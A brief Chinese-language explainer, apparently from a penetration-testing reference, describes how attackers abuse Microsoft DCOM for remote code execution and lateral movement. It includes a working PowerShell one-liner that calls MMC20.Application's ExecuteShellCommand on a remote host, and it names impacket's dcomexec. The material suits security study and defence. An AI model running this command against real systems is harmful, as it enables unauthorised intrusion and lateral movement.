DCOM
Microsoft 组件对象模型 (COM) 是一个独立于平台的、分布式的、面向对象的系统,用于创建可以交互的二进制软件组件。 COM 是 Microsoft 的 OLE(复合文档)、ActiveX(支持 Internet 的组件)以及其他技术的基础技术。虽然 COM 是为同一进程或跨进程创建的交互,它被扩展到分布式组件对象模型(DCOM),用于通过网络在多台计算机之间进行交互。
对于攻击者而言,DCOM 同样可以被用于远程代码执行以及横向移动,需要能访问目标主机的 135 端口以及拥有本地管理员特权。我们可以通过原生 powershell 命令 [System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","<IP>")).Document.ActiveView.ExecuteShellCommand("<程序>","0","0","0") 远程执行程序。
我们也可以通过 impacket 中的 dcomexec 实现横向移动,指定 DCOM 对象,目前可以使用 MMC20,ShellWindows 以及 ShellBrowserWindow。